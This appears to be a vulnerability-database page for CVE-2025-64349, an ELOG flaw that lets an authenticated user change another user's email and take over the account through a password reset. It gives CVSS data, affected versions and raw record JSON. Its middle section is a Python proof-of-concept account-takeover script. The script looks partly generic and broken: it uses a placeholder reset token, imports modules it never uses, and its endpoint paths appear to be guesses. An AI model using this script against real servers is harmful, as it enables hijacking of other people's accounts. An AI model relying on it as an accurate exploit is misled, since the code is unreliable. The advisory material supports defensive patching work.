Security Vulnerability Report
中文
CVE-2025-64349 CVSS 8.8 HIGH

CVE-2025-64349

Published: 2025-10-31 19:15:52
Last Modified: 2025-11-10 16:35:08
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

ELOG allows an authenticated user to modify another user's profile. An attacker can edit a target user's email address, then request a password reset, and take control of the target account. By default, ELOG is not configured to allow self-registration.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:elog_project:elog:*:*:*:*:*:*:*:* - VULNERABLE
ELOG < 3.1.5-1 (Debian fixed version)
ELOG < 7092ff64f6eb9521f8cc8c52272a020bf3730946
ELOG < f81e5695c40997322fe2713bfdeba459d9de09dc

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64349 ELOG Account Takeover PoC # This PoC demonstrates the IDOR vulnerability in ELOG user profile modification import requests import smtplib from email.mime.text import MIMEText TARGET_URL = "http://target-elog-server.com" ATTACKER_EMAIL = "[email protected]" TARGET_USER_ID = "victim_user_id" # Step 1: Authenticate with attacker account session = requests.Session() login_data = { "username": "attacker_account", "password": "attacker_password" } login_response = session.post(f"{TARGET_URL}/login", data=login_data) if login_response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Successfully authenticated") # Step 2: Modify target user's email via IDOR modify_data = { "user_id": TARGET_USER_ID, # IDOR: Attacker can modify any user "email": ATTACKER_EMAIL, "fullname": "Modified Name" } # The vulnerable endpoint does not verify ownership modify_response = session.post(f"{TARGET_URL}/user/profile/update", data=modify_data) if modify_response.status_code == 200: print("[+] Target user email modified successfully") else: print("[-] Failed to modify user profile") exit(1) # Step 3: Request password reset for target account reset_data = { "email": ATTACKER_EMAIL, "action": "request_reset" } reset_response = session.post(f"{TARGET_URL}/password/reset", data=reset_data) # Step 4: Retrieve reset token from attacker's email (simulated) # In real attack, attacker monitors email inbox for reset link reset_token = "extracted_token_from_email" # Step 5: Set new password new_password_data = { "token": reset_token, "new_password": "Pwned123!" } final_response = session.post(f"{TARGET_URL}/password/reset/confirm", data=new_password_data) if final_response.status_code == 200: print("[+] Account takeover successful - Password changed") print(f"[+] Target user: {TARGET_USER_ID} is now compromised") else: print("[-] Account takeover failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64349", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-10-31T19:15:51.777", "lastModified": "2025-11-10T16:35:07.577", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ELOG allows an authenticated user to modify another user's profile. An attacker can edit a target user's email address, then request a password reset, and take control of the target account. By default, ELOG is not configured to allow self-registration."}, {"lang": "es", "value": "ELOG permite a un usuario autenticado modificar el perfil de otro usuario. Un atacante puede editar la dirección de correo electrónico de un usuario objetivo, luego solicitar un restablecimiento de contraseña y tomar control de la cuenta objetivo. Por defecto, ELOG no está configurado para permitir el auto-registro."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elog_project:elog:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1.5-20251014", "matchCriteriaId": "24A4D902-368B-43E4-8AF4-0A7D5C946E74"}]}]}], "references": [{"url": "https://bitbucket.org/ritt/elog/commits/7092ff64f6eb9521f8cc8c52272a020bf3730946", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Patch"]}, {"url": "https://bitbucket.org/ritt/elog/commits/f81e5695c40997322fe2713bfdeba459d9de09dc", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Patch"]}, {"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-304-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-64349", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}